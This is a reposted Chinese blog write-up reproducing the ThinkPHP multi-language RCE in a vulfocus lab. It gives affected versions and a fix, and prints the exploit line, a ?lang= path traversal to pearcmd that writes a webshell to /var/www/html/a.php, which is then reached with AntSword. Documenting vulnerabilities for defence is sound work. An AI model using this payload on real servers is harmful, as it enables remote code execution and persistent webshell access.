iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ThinkPHP 多语言模块RCE漏洞复现
  • 726
分享到

ThinkPHP 多语言模块RCE漏洞复现

开发语言web安全网络安全php 2023-09-02 16:09:43 726人浏览 安东尼
摘要

1、产品简介 ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级php框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉

1、产品简介

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级php框架。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

2、漏洞概述

如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

默认情况下,系统只会加载默认语言包,如果需要多语言自动侦测及自动切换,需要在全局的中间件定义文件中添加中间件定义。因此只有启用多语言并且使用存在漏洞的版本时才存在漏洞。

3、影响范围

v6.0.1 < Thinkphp < v6.0.13

Thinkphp v5.0.x

Thinkphp v5.1.x

4、环境搭建

 使用vulfocus在线靶场环境进行复现

13dbdcad1a5e4cddb9d191a7a0958435.png

 5、利用流程

开启靶场环境,直接访问漏洞地址bp抓包(注意路径)

97addbaee6864a51847444b35fa11bad.png

 2、发送请求到Reperater模块进行利用,这里我们直接写入一句话马子

exp如下:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/+/var/www/html/a.php

5042f401110a4368bea8b0e8b9d0baae.png

 3、使用中国蚁剑连接写入的马子,成功拿到shell环境,读取flag

7f783dfb4e434cf9be533df97adcde50.png

 04420e21a9464c9690566ee9a74a3896.png

这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。

6、修复方案

官方已经发布最新版,请升级到最新版

来源地址:https://blog.csdn.net/qq_41904294/article/details/128437188

--结束END--

本文标题: ThinkPHP 多语言模块RCE漏洞复现

本文链接: https://www.lsjlt.com/news/391092.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作